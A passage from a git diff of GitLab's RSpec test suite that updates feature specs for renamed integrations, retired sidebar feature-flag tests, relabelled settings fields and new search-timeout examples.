+ create(:prometheus_integration, project: project, api_url: 'http://prometheus.example.com', manual_configuration: '1', active: true)
end
it 'shows the Alerts section' do
diff --git a/spec/features/projects/services/user_activates_prometheus_spec.rb b/spec/features/projects/services/user_activates_prometheus_spec.rb
index b89e89d250f..73ad8088be2 100644
--- a/spec/features/projects/services/user_activates_prometheus_spec.rb
+++ b/spec/features/projects/services/user_activates_prometheus_spec.rb
@@ -17,6 +17,6 @@ RSpec.describe 'User activates Prometheus' do
click_button('Save changes')
expect(page).not_to have_content('Prometheus settings saved and active.')
- expect(page).to have_content('Fields on this page has been deprecated.')
+ expect(page).to have_content('Fields on this page have been deprecated.')
end
end
diff --git a/spec/features/projects/services/user_activates_slack_notifications_spec.rb b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
index dec83ff1489..d5fe8b083ba 100644
--- a/spec/features/projects/services/user_activates_slack_notifications_spec.rb
+++ b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
@@ -20,12 +20,12 @@ RSpec.describe 'User activates Slack notifications', :js do
end
context 'when service is already configured' do
- let(:service) { Integrations::Slack.new }
- let(:project) { create(:project, slack_service: service) }
+ let(:integration) { Integrations::Slack.new }
+ let(:project) { create(:project, slack_integration: integration) }
before do
- service.fields
- service.update!(
+ integration.fields
+ integration.update!(
push_channel: 1,
issue_channel: 2,
merge_request_channel: 3,
@@ -34,7 +34,7 @@ RSpec.describe 'User activates Slack notifications', :js do
pipeline_channel: 6,
wiki_page_channel: 7)
- visit(edit_project_service_path(project, service))
+ visit(edit_project_service_path(project, integration))
end
it 'filters events by channel' do
diff --git a/spec/features/projects/settings/access_tokens_spec.rb b/spec/features/projects/settings/access_tokens_spec.rb
index 76d5d7308d1..33e2623522e 100644
--- a/spec/features/projects/settings/access_tokens_spec.rb
+++ b/spec/features/projects/settings/access_tokens_spec.rb
@@ -51,10 +51,10 @@ RSpec.describe 'Project > Settings > Access Tokens', :js do
name = 'My project access token'
visit project_settings_access_tokens_path(project)
- fill_in 'Name', with: name
+ fill_in 'Token name', with: name
# Set date to 1st of next month
- find_field('Expires at').click
+ find_field('Expiration date').click
find('.pika-next').click
click_on '1'
@@ -68,6 +68,7 @@ RSpec.describe 'Project > Settings > Access Tokens', :js do
expect(active_project_access_tokens).to have_text('In')
expect(active_project_access_tokens).to have_text('api')
expect(active_project_access_tokens).to have_text('read_api')
+ expect(active_project_access_tokens).to have_text('Maintainer')
expect(created_project_access_token).not_to be_empty
end
diff --git a/spec/features/projects/settings/monitor_settings_spec.rb b/spec/features/projects/settings/monitor_settings_spec.rb
index 971a747e64f..2d8c418b7d0 100644
--- a/spec/features/projects/settings/monitor_settings_spec.rb
+++ b/spec/features/projects/settings/monitor_settings_spec.rb
@@ -18,17 +18,6 @@ RSpec.describe 'Projects > Settings > For a forked project', :js do
expect(page).to have_selector('.sidebar-sub-level-items a[aria-label="Monitor"]', text: 'Monitor', visible: false)
end
-
- context 'when feature flag sidebar_refactor is disabled' do
- it 'renders the menu "Operations" in the sidebar' do
- stub_feature_flags(sidebar_refactor: false)
-
- visit project_path(project)
- wait_for_requests
-
- expect(page).to have_selector('.sidebar-sub-level-items a[aria-label="Operations"]', text: 'Operations', visible: false)
- end
- end
end
describe 'Settings > Monitor' do
@@ -53,7 +42,7 @@ RSpec.describe 'Projects > Settings > For a forked project', :js do
expect(find_field(send_email)).to be_checked
end
- it 'updates form values' do
+ it 'updates form values', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/333665' do
check(create_issue)
uncheck(send_email)
click_on('No template selected')
diff --git a/spec/features/projects/settings/registry_settings_spec.rb b/spec/features/projects/settings/registry_settings_spec.rb
index 1cc54b71d4a..3f9f2dae453 100644
--- a/spec/features/projects/settings/registry_settings_spec.rb
+++ b/spec/features/projects/settings/registry_settings_spec.rb
@@ -11,125 +11,105 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
let(:container_registry_enabled) { true }
let(:container_registry_enabled_on_project) { true }
- shared_examples 'an expiration policy form' do
- before do
- project.update!(container_registry_enabled: container_registry_enabled_on_project)
- project.container_expiration_policy.update!(enabled: true)
+ subject { visit project_settings_packages_and_registries_path(project) }
- sign_in(user)
- stub_container_registry_config(enabled: container_registry_enabled)
- end
-
- context 'as owner' do
- it 'shows available section' do
- subject
-
- settings_block = find('[data-testid="registry-settings-app"]')
- expect(settings_block).to have_text 'Clean up image tags'
- end
+ before do
+ project.update!(container_registry_enabled: container_registry_enabled_on_project)
+ project.container_expiration_policy.update!(enabled: true)
- it 'saves cleanup policy submit the form' do
- subject
-
- within '[data-testid="registry-settings-app"]' do
- select('Every day', from: 'Run cleanup')
- select('50 tags per image name', from: 'Keep the most recent:')
- fill_in('Keep tags matching:', with: 'stable')
- select('7 days', from: 'Remove tags older than:')
- fill_in('Remove tags matching:', with: '.*-production')
-
- submit_button = find('[data-testid="save-button"')
- expect(submit_button).not_to be_disabled
- submit_button.click
- end
+ sign_in(user)
+ stub_container_registry_config(enabled: container_registry_enabled)
+ end
- expect(find('.gl-toast')).to have_content('Cleanup policy successfully saved.')
- end
+ context 'as owner' do
+ it 'shows available section' do
+ subject
- it 'does not save cleanup policy submit form with invalid regex' do
- subject
+ settings_block = find('[data-testid="registry-settings-app"]')
+ expect(settings_block).to have_text 'Clean up image tags'
+ end
- within '[data-testid="registry-settings-app"]' do
- fill_in('Remove tags matching:', with: '*-production')
+ it 'saves cleanup policy submit the form' do
+ subject
- submit_button = find('[data-testid="save-button"')
- expect(submit_button).not_to be_disabled
- submit_button.click
- end
+ within '[data-testid="registry-settings-app"]' do
+ select('Every day', from: 'Run cleanup')
+ select('50 tags per image name', from: 'Keep the most recent:')
+ fill_in('Keep tags matching:', with: 'stable')
+ select('7 days', from: 'Remove tags older than:')
+ fill_in('Remove tags matching:', with: '.*-production')
- expect(find('.gl-toast')).to have_content('Something went wrong while updating the cleanup policy.')
+ submit_button = find('[data-testid="save-button"')
+ expect(submit_button).not_to be_disabled
+ submit_button.click
end
+
+ expect(find('.gl-toast')).to have_content('Cleanup policy successfully saved.')
end
- context 'with a project without expiration policy' do
- where(:application_setting, :feature_flag, :result) do
- true | true | :available_section
- true | false | :available_section
- false | true | :available_section
- false | false | :disabled_message
- end
+ it 'does not save cleanup policy submit form with invalid regex' do
+ subject
- with_them do
- before do
- project.container_expiration_policy.destroy!
- stub_feature_flags(container_expiration_policies_historic_entry: false)
- stub_application_setting(container_expiration_policies_enable_historic_entries: application_setting)
- stub_feature_flags(container_expiration_policies_historic_entry: project) if feature_flag
- end
+ within '[data-testid="registry-settings-app"]' do
+ fill_in('Remove tags matching:', with: '*-production')
- it 'displays the expected result' do
- subject
-
- within '[data-testid="registry-settings-app"]' do
- case result
- when :available_section
- expect(find('[data-testid="enable-toggle"]')).to have_content('Disabled - Tags will not be automatically deleted.')
- when :disabled_message
- expect(find('.gl-alert-title')).to have_content('Cleanup policy for tags is disabled')
- end
- end
- end
+ submit_button = find('[data-testid="save-button"')
+ expect(submit_button).not_to be_disabled
+ submit_button.click
end
- end
-
- context 'when registry is disabled' do
- let(:container_registry_enabled) { false }
- it 'does not exists' do
- subject
+ expect(find('.gl-toast')).to have_content('Something went wrong while updating the cleanup policy.')
+ end
+ end
- expect(page).not_to have_selector('[data-testid="registry-settings-app"]')
- end
+ context 'with a project without expiration policy' do
+ where(:application_setting, :feature_flag, :result) do
+ true | true | :available_section
+ true | false | :available_section
+ false | true | :available_section
+ false | false | :disabled_message
end
- context 'when container registry is disabled on project' do
- let(:container_registry_enabled_on_project) { false }
+ with_them do
+ before do
+ project.container_expiration_policy.destroy!
+ stub_feature_flags(container_expiration_policies_historic_entry: false)
+ stub_application_setting(container_expiration_policies_enable_historic_entries: application_setting)
+ stub_feature_flags(container_expiration_policies_historic_entry: project) if feature_flag
+ end
- it 'does not exists' do
+ it 'displays the expected result' do
subject
- expect(page).not_to have_selector('[data-testid="registry-settings-app"]')
+ within '[data-testid="registry-settings-app"]' do
+ case result
+ when :available_section
+ expect(find('[data-testid="enable-toggle"]')).to have_content('Disabled - Tags will not be automatically deleted.')
+ when :disabled_message
+ expect(find('.gl-alert-title')).to have_content('Cleanup policy for tags is disabled')
+ end
+ end
end
end
end
- context 'with sidebar feature flag off' do
- subject { visit project_settings_ci_cd_path(project) }
+ context 'when registry is disabled' do
+ let(:container_registry_enabled) { false }
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
+ it 'does not exists' do
+ subject
- it_behaves_like 'an expiration policy form'
+ expect(page).not_to have_selector('[data-testid="registry-settings-app"]')
+ end
end
- context 'with sidebar feature flag on' do
- subject { visit project_settings_packages_and_registries_path(project) }
+ context 'when container registry is disabled on project' do
+ let(:container_registry_enabled_on_project) { false }
- before do
- stub_feature_flags(sidebar_refactor: true)
- end
+ it 'does not exists' do
+ subject
- it_behaves_like 'an expiration policy form'
+ expect(page).not_to have_selector('[data-testid="registry-settings-app"]')
+ end
end
end
diff --git a/spec/features/projects/settings/user_searches_in_settings_spec.rb b/spec/features/projects/settings/user_searches_in_settings_spec.rb
index a60743f0e47..7ed96d01189 100644
--- a/spec/features/projects/settings/user_searches_in_settings_spec.rb
+++ b/spec/features/projects/settings/user_searches_in_settings_spec.rb
@@ -39,7 +39,7 @@ RSpec.describe 'User searches project settings', :js do
visit project_settings_access_tokens_path(project)
end
- it_behaves_like 'can highlight results', 'Expires at'
+ it_behaves_like 'can highlight results', 'Expiration date'
end
context 'in Repository page' do
diff --git a/spec/features/projects/terraform_spec.rb b/spec/features/projects/terraform_spec.rb
index 55b906c2bc5..d080d101285 100644
--- a/spec/features/projects/terraform_spec.rb
+++ b/spec/features/projects/terraform_spec.rb
@@ -58,7 +58,7 @@ RSpec.describe 'Terraform', :js do
context 'when clicking on the delete button' do
let(:additional_state) { create(:terraform_state, project: project) }
- it 'removes the state', :aggregate_failures do
+ it 'removes the state', :aggregate_failures, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/333640' do
visit project_terraform_index_path(project)
expect(page).to have_content(additional_state.name)
diff --git a/spec/features/projects/tree/create_directory_spec.rb b/spec/features/projects/tree/create_directory_spec.rb
index 54b081161e5..e2ae858cb9b 100644
--- a/spec/features/projects/tree/create_directory_spec.rb
+++ b/spec/features/projects/tree/create_directory_spec.rb
@@ -47,7 +47,7 @@ RSpec.describe 'Multi-file editor new directory', :js do
find('.js-ide-commit-mode').click
# Compact mode depends on the size of window. If it is shorter than MAX_WINDOW_HEIGHT_COMPACT,
- # (as it is with CHROME_HEADLESS=0), this initial commit button will exist. Otherwise, if it is
+ # (as it is with WEBDRIVER_HEADLESS=0), this initial commit button will exist. Otherwise, if it is
# taller (as it is by default with chrome headless) then the button will not exist.
if page.has_css?('.qa-begin-commit-button')
find('.qa-begin-commit-button').click
diff --git a/spec/features/projects/tree/create_file_spec.rb b/spec/features/projects/tree/create_file_spec.rb
index cefb84e6f5e..956b8898854 100644
--- a/spec/features/projects/tree/create_file_spec.rb
+++ b/spec/features/projects/tree/create_file_spec.rb
@@ -37,7 +37,7 @@ RSpec.describe 'Multi-file editor new file', :js do
find('.js-ide-commit-mode').click
# Compact mode depends on the size of window. If it is shorter than MAX_WINDOW_HEIGHT_COMPACT,
- # (as it is with CHROME_HEADLESS=0), this initial commit button will exist. Otherwise, if it is
+ # (as it is with WEBDRIVER_HEADLESS=0), this initial commit button will exist. Otherwise, if it is
# taller (as it is by default with chrome headless) then the button will not exist.
if page.has_css?('.qa-begin-commit-button')
find('.qa-begin-commit-button').click
diff --git a/spec/features/projects/user_creates_project_spec.rb b/spec/features/projects/user_creates_project_spec.rb
index aff3022bd4e..a5b51bac747 100644
--- a/spec/features/projects/user_creates_project_spec.rb
+++ b/spec/features/projects/user_creates_project_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'User creates a project', :js do
it 'creates a new project' do
visit(new_project_path)
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
fill_in(:project_name, with: 'Empty')
# part of the new_project_readme experiment
@@ -46,7 +46,7 @@ RSpec.describe 'User creates a project', :js do
it 'creates a new project' do
visit(new_project_path)
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
fill_in :project_name, with: 'A Subgroup Project'
fill_in :project_path, with: 'a-subgroup-project'
@@ -75,7 +75,7 @@ RSpec.describe 'User creates a project', :js do
it 'creates a new project' do
visit(new_project_path)
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
fill_in :project_name, with: 'a-new-project'
fill_in :project_path, with: 'a-new-project'
diff --git a/spec/features/projects/user_sees_user_popover_spec.rb b/spec/features/projects/user_sees_user_popover_spec.rb
index db451578ff8..0bbe7f26cd4 100644
--- a/spec/features/projects/user_sees_user_popover_spec.rb
+++ b/spec/features/projects/user_sees_user_popover_spec.rb
@@ -5,9 +5,9 @@ require 'spec_helper'
RSpec.describe 'User sees user popover', :js do
include Spec::Support::Helpers::Features::NotesHelpers
- let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user, pronouns: 'they/them') }
+ let_it_be(:project) { create(:project, :repository, creator: user) }
- let(:user) { project.creator }
let(:merge_request) do
create(:merge_request, source_project: project, target_project: project)
end
@@ -32,7 +32,7 @@ RSpec.describe 'User sees user popover', :js do
expect(page).to have_css(popover_selector, visible: true)
page.within(popover_selector) do
- expect(page).to have_content(user.name)
+ expect(page).to have_content("#{user.name} (they/them)")
end
end
diff --git a/spec/features/projects/user_uses_shortcuts_spec.rb b/spec/features/projects/user_uses_shortcuts_spec.rb
index 2f7844ff615..7bb15451538 100644
--- a/spec/features/projects/user_uses_shortcuts_spec.rb
+++ b/spec/features/projects/user_uses_shortcuts_spec.rb
@@ -77,20 +77,6 @@ RSpec.describe 'User uses shortcuts', :js do
expect(page).to have_active_navigation(project.name)
end
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'redirects to the details page' do
- stub_feature_flags(sidebar_refactor: false)
-
- visit project_issues_path(project)
-
- find('body').native.send_key('g')
- find('body').native.send_key('p')
-
- expect(page).to have_active_navigation('Project')
- expect(page).to have_active_sub_navigation('Details')
- end
- end
-
it 'redirects to the activity page' do
find('body').native.send_key('g')
find('body').native.send_key('v')
@@ -196,36 +182,6 @@ RSpec.describe 'User uses shortcuts', :js do
expect(page).to have_active_navigation('Monitor')
expect(page).to have_active_sub_navigation('Metrics')
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it 'redirects to the Operations page' do
- find('body').native.send_key('g')
- find('body').native.send_key('l')
-
- expect(page).to have_active_navigation('Operations')
- expect(page).to have_active_sub_navigation('Metrics')
- end
-
- it 'redirects to the Kubernetes page with active Operations' do
- find('body').native.send_key('g')
- find('body').native.send_key('k')
-
- expect(page).to have_active_navigation('Operations')
- expect(page).to have_active_sub_navigation('Kubernetes')
- end
-
- it 'redirects to the Environments page' do
- find('body').native.send_key('g')
- find('body').native.send_key('e')
-
- expect(page).to have_active_navigation('Operations')
- expect(page).to have_active_sub_navigation('Environments')
- end
- end
end
context 'when navigating to the Infrastructure pages' do
diff --git a/spec/features/projects/user_views_empty_project_spec.rb b/spec/features/projects/user_views_empty_project_spec.rb
index cce38456df9..696a7f4ee8a 100644
--- a/spec/features/projects/user_views_empty_project_spec.rb
+++ b/spec/features/projects/user_views_empty_project_spec.rb
@@ -7,10 +7,12 @@ RSpec.describe 'User views an empty project' do
let_it_be(:user) { create(:user) }
shared_examples 'allowing push to default branch' do
- it 'shows push-to-master instructions' do
+ let(:default_branch) { project.default_branch_or_main }
+
+ it 'shows push-to-default-branch instructions' do
visit project_path(project)
- expect(page).to have_content('git push -u origin master')
+ expect(page).to have_content("git push -u origin #{default_branch}")
end
end
@@ -47,7 +49,7 @@ RSpec.describe 'User views an empty project' do
it 'does not show push-to-master instructions' do
visit project_path(project)
- expect(page).not_to have_content('git push -u origin master')
+ expect(page).not_to have_content('git push -u origin')
end
end
end
@@ -61,7 +63,7 @@ RSpec.describe 'User views an empty project' do
it 'does not show push-to-master instructions nor invite members link', :aggregate_failures, :js do
visit project_path(project)
- expect(page).not_to have_content('git push -u origin master')
+ expect(page).not_to have_content('git push -u origin')
expect(page).not_to have_button(text: 'Invite members')
end
end
diff --git a/spec/features/projects_spec.rb b/spec/features/projects_spec.rb
index 2ac829d406c..a3d134d49eb 100644
--- a/spec/features/projects_spec.rb
+++ b/spec/features/projects_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe 'Project' do
shared_examples 'creates from template' do |template, sub_template_tab = nil|
it "is created from template", :js do
- find('[data-qa-selector="create_from_template_link"]').click
+ find('[data-qa-panel-name="create_from_template"]').click
find(".project-template #{sub_template_tab}").click if sub_template_tab
find("label[for=#{template.name}]").click
fill_in("project_name", with: template.name)
@@ -256,7 +256,7 @@ RSpec.describe 'Project' do
expect(page).to have_selector '#confirm_name_input:focus'
end
- it 'deletes a project', :sidekiq_might_not_need_inline do
+ it 'deletes a project', :sidekiq_inline do
expect { remove_with_confirm('Delete project', project.path, 'Yes, delete project') }.to change { Project.count }.by(-1)
expect(page).to have_content "Project '#{project.full_name}' is in the process of being deleted."
expect(Project.all.count).to be_zero
diff --git a/spec/features/search/user_searches_for_code_spec.rb b/spec/features/search/user_searches_for_code_spec.rb
index 094b31ba784..ef7af0ba138 100644
--- a/spec/features/search/user_searches_for_code_spec.rb
+++ b/spec/features/search/user_searches_for_code_spec.rb
@@ -21,7 +21,8 @@ RSpec.describe 'User searches for code' do
expect(page).to have_selector('.results', text: 'application.js')
expect(page).to have_selector('.file-content .code')
expect(page).to have_selector("span.line[lang='javascript']")
- expect(page).to have_link('application.js', href: /master\/files\/js\/application.js/)
+ expect(page).to have_link('application.js', href: %r{master/files/js/application.js})
+ expect(page).to have_button('Copy file path')
end
context 'when on a project page', :js do
@@ -37,6 +38,7 @@ RSpec.describe 'User searches for code' do
end
include_examples 'top right search form'
+ include_examples 'search timeouts', 'blobs'
it 'finds code' do
fill_in('dashboard_search', with: 'rspec')
@@ -45,7 +47,7 @@ RSpec.describe 'User searches for code' do
expect(page).to have_selector('.results', text: 'Update capybara, rspec-rails, poltergeist to recent versions')
find("#L3").click
- expect(current_url).to match(/master\/.gitignore#L3/)
+ expect(current_url).to match(%r{master/.gitignore#L3})
end
it 'search mutiple words with refs switching' do
@@ -63,7 +65,7 @@ RSpec.describe 'User searches for code' do
expect(page).to have_selector('.results', text: expected_result)
expect(find_field('dashboard_search').value).to eq(search)
- expect(find("#L1502")[:href]).to match(/v1.0.0\/files\/markdown\/ruby-style-guide.md#L1502/)
+ expect(find("#L1502")[:href]).to match(%r{v1.0.0/files/markdown/ruby-style-guide.md#L1502})
end
end
diff --git a/spec/features/search/user_searches_for_comments_spec.rb b/spec/features/search/user_searches_for_comments_spec.rb
index 2a12b22b457..5185a2460dc 100644
--- a/spec/features/search/user_searches_for_comments_spec.rb
+++ b/spec/features/search/user_searches_for_comments_spec.rb
@@ -13,6 +13,8 @@ RSpec.describe 'User searches for comments' do
visit(project_path(project))
end
+ include_examples 'search timeouts', 'notes'
+
context 'when a comment is in commits' do
context 'when comment belongs to an invalid commit' do
let(:comment) { create(:note_on_commit, author: user, project: project, commit_id: 12345678, note: 'Bug here') }
diff --git a/spec/features/search/user_searches_for_commits_spec.rb b/spec/features/search/user_searches_for_commits_spec.rb
index 1a882050126..279db686aa9 100644
--- a/spec/features/search/user_searches_for_commits_spec.rb
+++ b/spec/features/search/user_searches_for_commits_spec.rb
@@ -14,6 +14,8 @@ RSpec.describe 'User searches for commits', :js do
visit(search_path(project_id: project.id))
end
+ include_examples 'search timeouts', 'commits'
+
context 'when searching by SHA' do
it 'finds a commit and redirects to its page' do
submit_search(sha)
diff --git a/spec/features/search/user_searches_for_issues_spec.rb b/spec/features/search/user_searches_for_issues_spec.rb
index 184f8ba0d36..b0902096770 100644
--- a/spec/features/search/user_searches_for_issues_spec.rb
+++ b/spec/features/search/user_searches_for_issues_spec.rb
@@ -23,6 +23,7 @@ RSpec.describe 'User searches for issues', :js do
end
include_examples 'top right search form'
+ include_examples 'search timeouts', 'issues'
it 'finds an issue' do
search_for_issue(issue1.title)
diff --git a/spec/features/search/user_searches_for_merge_requests_spec.rb b/spec/features/search/user_searches_for_merge_requests_spec.rb
index 32952a127d3..d7f490ba9bc 100644
--- a/spec/features/search/user_searches_for_merge_requests_spec.rb
+++ b/spec/features/search/user_searches_for_merge_requests_spec.rb
@@ -22,6 +22,7 @@ RSpec.describe 'User searches for merge requests', :js do
end
include_examples 'top right search form'
+ include_examples 'search timeouts', 'merge_requests'
it 'finds a merge request' do
search_for_mr(merge_request1.title)
diff --git a/spec/features/search/user_searches_for_milestones_spec.rb b/spec/features/search/user_searches_for_milestones_spec.rb
index e81abb44ba5..7a1ec16385c 100644
--- a/spec/features/search/user_searches_for_milestones_spec.rb
+++ b/spec/features/search/user_searches_for_milestones_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe 'User searches for milestones', :js do
end
include_examples 'top right search form'
+ include_examples 'search timeouts', 'milestones'
it 'finds a milestone' do
fill_in('dashboard_search', with: milestone1.title)
diff --git a/spec/features/search/user_searches_for_projects_spec.rb b/spec/features/search/user_searches_for_projects_spec.rb
index e34ae031679..c38ad077cd0 100644
--- a/spec/features/search/user_searches_for_projects_spec.rb
+++ b/spec/features/search/user_searches_for_projects_spec.rb
@@ -12,6 +12,7 @@ RSpec.describe 'User searches for projects', :js do
end
include_examples 'top right search form'
+ include_examples 'search timeouts', 'projects'
it 'finds a project' do
visit(search_path)
diff --git a/spec/features/search/user_searches_for_users_spec.rb b/spec/features/search/user_searches_for_users_spec.rb
index 826ed73c9bf..a5cf12fa068 100644
--- a/spec/features/search/user_searches_for_users_spec.rb
+++ b/spec/features/search/user_searches_for_users_spec.rb
@@ -11,6 +11,8 @@ RSpec.describe 'User searches for users' do
sign_in(user1)
end
+ include_examples 'search timeouts', 'users'
+
context 'when on the dashboard' do
it 'finds the user', :js do
visit dashboard_projects_path
diff --git a/spec/features/search/user_searches_for_wiki_pages_spec.rb b/spec/features/search/user_searches_for_wiki_pages_spec.rb
index 8913f1fe9ee..06545d8640f 100644
--- a/spec/features/search/user_searches_for_wiki_pages_spec.rb
+++ b/spec/features/search/user_searches_for_wiki_pages_spec.rb
@@ -15,6 +15,7 @@ RSpec.describe 'User searches for wiki pages', :js do
end
include_examples 'top right search form'
+ include_examples 'search timeouts', 'wiki_blobs'
shared_examples 'search wiki blobs' do
it 'finds a page' do
diff --git a/spec/features/snippets/embedded_snippet_spec.rb b/spec/features/snippets/embedded_snippet_spec.rb
index b799fb2fc00..90d877d29b7 100644
--- a/spec/features/snippets/embedded_snippet_spec.rb
+++ b/spec/features/snippets/embedded_snippet_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'Embedded Snippets' do
let_it_be(:snippet) { create(:personal_snippet, :public, :repository) }
+
let(:blobs) { snippet.blobs.first(3) }
it 'loads snippet', :js do
@@ -27,8 +28,8 @@ RSpec.describe 'Embedded Snippets' do
blobs.each do |blob|
expect(page).to have_content(blob.path)
expect(page.find(".snippet-file-content .blob-content[data-blob-id='#{blob.id}'] code")).to have_content(blob.data.squish)
- expect(page).to have_link('Open raw', href: /-\/snippets\/#{snippet.id}\/raw\/master\/#{blob.path}/)
- expect(page).to have_link('Download', href: /-\/snippets\/#{snippet.id}\/raw\/master\/#{blob.path}\?inline=false/)
+ expect(page).to have_link('Open raw', href: %r{-/snippets/#{snippet.id}/raw/master/#{blob.path}})
+ expect(page).to have_link('Download', href: %r{-/snippets/#{snippet.id}/raw/master/#{blob.path}\?inline=false})
end
end
end
diff --git a/spec/features/unsubscribe_links_spec.rb b/spec/features/unsubscribe_links_spec.rb
index b2d0f29808c..b7471720008 100644
--- a/spec/features/unsubscribe_links_spec.rb
+++ b/spec/features/unsubscribe_links_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe 'Unsubscribe links', :sidekiq_might_not_need_inline do
let(:author) { create(:user) }
let(:project) { create(:project, :public) }
let(:params) { { title: 'A bug!', description: 'Fix it!', assignees: [recipient] } }
- let(:issue) { Issues::CreateService.new(project: project, current_user: author, params: params).execute }
+ let(:issue) { Issues::CreateService.new(project: project, current_user: author, params: params, spam_params: nil).execute }
let(:mail) { ActionMailer::Base.deliveries.last }
let(:body) { Capybara::Node::Simple.new(mail.default_part_body.to_s) }
diff --git a/spec/features/usage_stats_consent_spec.rb b/spec/features/usage_stats_consent_spec.rb
index 6fa1d7d76b5..69bd6f35558 100644
--- a/spec/features/usage_stats_consent_spec.rb
+++ b/spec/features/usage_stats_consent_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe 'Usage stats consent' do
expect(page).to have_content(message)
- click_link 'Send usage data'
+ click_link 'Send service data'
expect(page).not_to have_content(message)
expect(page).to have_content('Application settings saved successfully')
diff --git a/spec/features/users/login_spec.rb b/spec/features/users/login_spec.rb
index 7010059a7ff..6c38d5d8b24 100644
--- a/spec/features/users/login_spec.rb
+++ b/spec/features/users/login_spec.rb
@@ -97,6 +97,8 @@ RSpec.describe 'Login' do
describe 'with an unconfirmed email address' do
let!(:user) { create(:user, confirmed_at: nil) }
let(:grace_period) { 2.days }
+ let(:alert_title) { 'Please confirm your email address' }
+ let(:alert_message) { "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select Resend confirmation email" }
before do
stub_application_setting(send_user_confirmation_email: true)
@@ -109,13 +111,14 @@ RSpec.describe 'Login' do
gitlab_sign_in(user)
- expect(page).not_to have_content(I18n.t('devise.failure.unconfirmed'))
+ expect(page).not_to have_content(alert_title)
+ expect(page).not_to have_content(alert_message)
expect(page).not_to have_link('Resend confirmation email', href: new_user_confirmation_path)
end
end
context 'when the confirmation grace period is expired' do
- it 'prevents the user from logging in and renders a resend confirmation email link' do
+ it 'prevents the user from logging in and renders a resend confirmation email link', :js do
travel_to((grace_period + 1.day).from_now) do
expect(authentication_metrics)
.to increment(:user_unauthenticated_counter)
@@ -123,7 +126,8 @@ RSpec.describe 'Login' do
gitlab_sign_in(user)
- expect(page).to have_content(I18n.t('devise.failure.unconfirmed'))
+ expect(page).to have_content(alert_title)
+ expect(page).to have_content(alert_message)
expect(page).to have_link('Resend confirmation email', href: new_user_confirmation_path)
end
end
@@ -889,6 +893,8 @@ RSpec.describe 'Login' do
context 'when sending confirmation email and not yet confirmed' do
let!(:user) { create(:user, confirmed_at: nil) }
let(:grace_period) { 2.days }
+ let(:alert_title) { 'Please confirm your email address' }
+ let(:alert_message) { "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select Resend confirmation email" }
before do
stub_application_setting(send_user_confirmation_email: true)
@@ -906,7 +912,7 @@ RSpec.describe 'Login' do
end
context "when not having confirmed within Devise's allow_unconfirmed_access_for time" do
- it 'does not allow login and shows a flash alert to confirm the email address' do
+ it 'does not allow login and shows a flash alert to confirm the email address', :js do
travel_to((grace_period + 1.day).from_now) do
expect(authentication_metrics)
.to increment(:user_unauthenticated_counter)
@@ -915,7 +921,9 @@ RSpec.describe 'Login' do
gitlab_sign_in(user)
expect(current_path).to eq new_user_session_path
- expect(page).to have_content(I18n.t('devise.failure.unconfirmed'))
+ expect(page).to have_content(alert_title)
+ expect(page).to have_content(alert_message)
+ expect(page).to have_link('Resend confirmation email', href: new_user_confirmation_path)
end
end
end
diff --git a/spec/features/users/user_browses_projects_on_user_page_spec.rb b/spec/features/users/user_browses_projects_on_user_page_spec.rb
index ded90be3924..5e7d7b76843 100644
--- a/spec/features/users/user_browses_projects_on_user_page_spec.rb
+++ b/spec/features/users/user_browses_projects_on_user_page_spec.rb
@@ -125,7 +125,7 @@ RSpec.describe 'Users > User browses projects on user page', :js do
end
before do
- Issues::CreateService.new(project: contributed_project, current_user: user, params: { title: 'Bug in old browser' }).execute
+ Issues::CreateService.new(project: contributed_project, current_user: user, params: { title: 'Bug in old browser' }, spam_params: nil).execute
event = create(:push_event, project: contributed_project, author: user)
create(:push_event_payload, event: event, commit_count: 3)
end
diff --git a/spec/finders/alert_management/alerts_finder_spec.rb b/spec/finders/alert_management/alerts_finder_spec.rb
index 3a88db5d854..7fcbc7b20a1 100644
--- a/spec/finders/alert_management/alerts_finder_spec.rb
+++ b/spec/finders/alert_management/alerts_finder_spec.rb
@@ -266,6 +266,7 @@ RSpec.describe AlertManagement::AlertsFinder, '#execute' do
context 'assignee username given' do
let_it_be(:assignee) { create(:user) }
let_it_be(:alert) { create(:alert_management_alert, project: project, assignees: [assignee]) }
+
let(:params) { { assignee_username: username } }
context 'with valid assignee_username' do
diff --git a/spec/finders/bulk_imports/entities_finder_spec.rb b/spec/finders/bulk_imports/entities_finder_spec.rb
new file mode 100644
index 00000000000..e053011b60d
--- /dev/null
+++ b/spec/finders/bulk_imports/entities_finder_spec.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::EntitiesFinder do
+ let_it_be(:user) { create(:user) }
+
+ let_it_be(:user_import_1) { create(:bulk_import, user: user) }
+ let_it_be(:started_entity_1) { create(:bulk_import_entity, :started, bulk_import: user_import_1) }
+ let_it_be(:finished_entity_1) { create(:bulk_import_entity, :finished, bulk_import: user_import_1) }
+ let_it_be(:failed_entity_1) { create(:bulk_import_entity, :failed, bulk_import: user_import_1) }
+
+ let_it_be(:user_import_2) { create(:bulk_import, user: user) }
+ let_it_be(:started_entity_2) { create(:bulk_import_entity, :started, bulk_import: user_import_2) }
+ let_it_be(:finished_entity_2) { create(:bulk_import_entity, :finished, bulk_import: user_import_2) }
